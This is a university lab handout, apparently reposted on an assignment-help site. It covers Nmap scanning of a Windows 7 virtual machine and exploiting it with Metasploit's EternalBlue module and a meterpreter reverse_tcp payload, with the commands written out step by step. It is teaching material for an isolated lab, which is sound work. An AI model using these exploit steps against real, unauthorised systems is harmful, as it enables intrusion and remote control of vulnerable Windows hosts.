Lab for Lecture 7 –
Network scanning & Penetration testing
Preparation
1. Download and install VirtualBox: https://www.virtualbox.org/
2. Download Kali Linux Image for VirtualBox: https://www.offensive-security.com/kalilinux-vm-vmware-virtualbox-image-download/#1572305786534-030ce714-cc3b
3. Download Windows 7 ISO file:
https://cloudstor.aarnet.edu.au/plus/s/PQ5JPcPc4EaUG3l
4. Install Kali Linux Image for VirtualBox:
• Open VirtualBox -> Tools -> Import, load the Kali Linux ova file
• Click on Continue -> Import -> Agree, then wait until the installation finishes.
• In the main menu, select the Kali machine, then Settings -> Network, for Adapter
1, change the “Attached to” to “Internal Network” and leave the network name as
the default one (i.e., intnet)
• Then you can run the Kali machine with: Username: kali, Password: kali.
• To set up the internal network connection, go to Kali Linux -> Settings ->
Advanced Network Configurations, double click on the network connect under
Ethernet. Go to IPv4 Settings, select “Manual” for “Method” and set up the
Addresses as 192.168.A.B where A, B can be any number between 1 and 255.
This will be your Kali machine’s IP address. You can find this by command ip -a
(using the command prompt).
• NOTE: If you are using Mac OS, you might need to install the “Oracle VM
VirtualBox Extension Pack” which can be downloaded from
https://download.virtualbox.org/virtualbox/6.1.6/Oracle_VM_VirtualBox_Exten
sion_Pack-6.1.6.vbox-extpack
5. Install Windows 7 using the downloaded ISO file:
• Tools -> New, then name the Windows 7 OS and click on “Continue”.
• Continuing with default options.
• Windows 7 -> Settings -> Storage, click on the blue optical disk icon on the right,
and select “choose a disk file…” to load the Windows 7 ISO file. Click on “OK”
• Windows 7 -> Start, then follow the instruction to install Windows 7 to
VirtualBox.
• In the main menu, select the Windows 7 machine, then Settings -> Network, for
Adapter 1, change the “Attached to” to “Internal Network” and leave the network
name as the default one (i.e., intnet)
• After starting the Windows 7 machine, go to Control Panel -> view network
status and tasks (Under “Network and Internet”) -> change adapter settings;
Double click on Local Area Connection.
• Properties -> Internet Protocol Version 4 (TCP/IPv4) -> Properties. Select Using
the following IP addresses and put the IP address as 192.168.A.C where C can be
any number between 1 and 255 (just make sure this IP address is different from
the Kali machine’s and the value A is the same in for both machine). Set Subnet
mask as 255.255.255.0 and Default gateway 192.168.A.B (the IP address of the
Kali machine.) then click on OK.
• You can check the IP address of the Windows machine by the command
ipconfig
• Go to Start -> Control Panel -> System and Security -> Windows Firewall -> Turn
the Windows firewall on or off, then turn the Windows firewalls off.
3. To check the connection, ping each machine from the other one.
4. If you want to connect your Kali machine (or Windows machine) to the Internet, you
can go to the Main menu, selecting Kali machine. Then go to Settings -> Network, and
enable the second network adapter with “Attached to NAT”.
Go to Kali Linux -> Settings -> Advanced Network Configurations, click on “+” to add a
new ethernet connection. Double click on the new connect, using “Automatic (DHCP)” in
“IPv4 Settings” and then save.
Part I
In this task, we will be examining the target host/network. Most of the time when you
are penetration testing you don’t have an idea of the hosts or the services that
are available on the network. Network scanning is what is used to gather this
information.
We will be using the Nmap command to scan the target Windows machine. Read the
man page for Nmap if you have not used the tool before.
man nmap
• Initially we can run a fast Nmap scan using the –F scan for the local network.
Why may we decide not to use a fast scan?
• Let’s run another scan but more specifically for a specific target host. Use the -sV
and –O flags. What kind of scan do these flags conduct? (You might need to put
sudo (superuser do) before your command and type in the password.)
• What interesting things do the output of the Nmap scan tell us about the network
and the target host?
Find the answers to the following (Please include your answers (e.g., screenshots) to the
report that you submit):
• Is the target host open?
• What is the operating system on the host?
• What ports are open on the host?
• What services are running on the host?
Part II
Now we have got some information about the target machine. We can see that the TCP
port 445 is open. It is used by the Server Message Block (SMB) protocol implemented on
Windows OS to enable sharing files and printers in the local network. It is sometimes
vulnerable has some insecurities.
We will use Metasploit with the famous exploit EternalBlue to see how a penetrating
process is done. You can recall this process from the lecture slides 28 and 29. We first
open the Kali Linux machine and the Windows machine from VirtualBox and make sure
they are connected.
1. Open the Msfconsole:
Kali Linux -> 08–Exploitation Tools -> metasploit framework
2. Search for the modules for EternalBlue
search eternalblue
3. Find and use auxiliary/scanner/smb/smb_ms17_010, an auxiliary module that allows
verifying if the target machine has the EternalBlue vulnerability.
use auxiliary/scanner/smb/smb_ms17_010
4. After the module loaded, check the options that we have.
show options
5. We can see that the only required setting that is missing is RHOSTS, which indicates
the targets. So, we set the Windows machine’s IP address for RHOSTS and run the scan.
set RHOSTS <IP>
run
We can see that the result shows that the target machine is indeed vulnerable.
6. We then use one of the exploit modules. We need to choose a payload which is a piece
of code to be executed through the exploit.
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
The payload we choose, i.e., windows/x64/meterpreter/reverse_tcp, allows us to
get a simple command shell with the local system rights on a Windows machine (nonupdated).
7. Finally, we set up the IP address of the remote host (target) and the IP address of the
local host which is our Kali machine’s IP address (the remote port number 445 and the
local port number is set with default). Then we launch the attack.
set RHLOSTS <IP>
set LHOST <IP>
exploit
8. Now we are with the meterpreter shell, a post-exploit tool, and we have the control of
the Windows machine
meterpreter >
You can run commands to access the file system (e.g., pwd, dir, mkdir, cd). You can also
get to the Windows Command Prompt by the command shell.
Your task:
1. Using the meterpreter shell to remotely create a text file (with any file name)
which contains your s-number, name and the date you do this task. For example,
s12345-Jack-24/01/1990. (You might need to do some search on the Internet to
get the commands that you need.)
2. Write a small report with screenshots of the following steps:
• You need to clearly show your penetration and exploiting process.
• Once you gain access to the Windows 7 machine from Kali, take a
screenshot of Kali’s terminal that shows the items in a directory on the
Windows 7 machine.
• Take a screenshot after using a command in Kali’s terminal that creates a
file on the Windows 7 machine.
• Take a screenshot of the content of the file on the Windows 7 machine.
The post Network scanning & Penetration testing appeared first on My Assignment Online.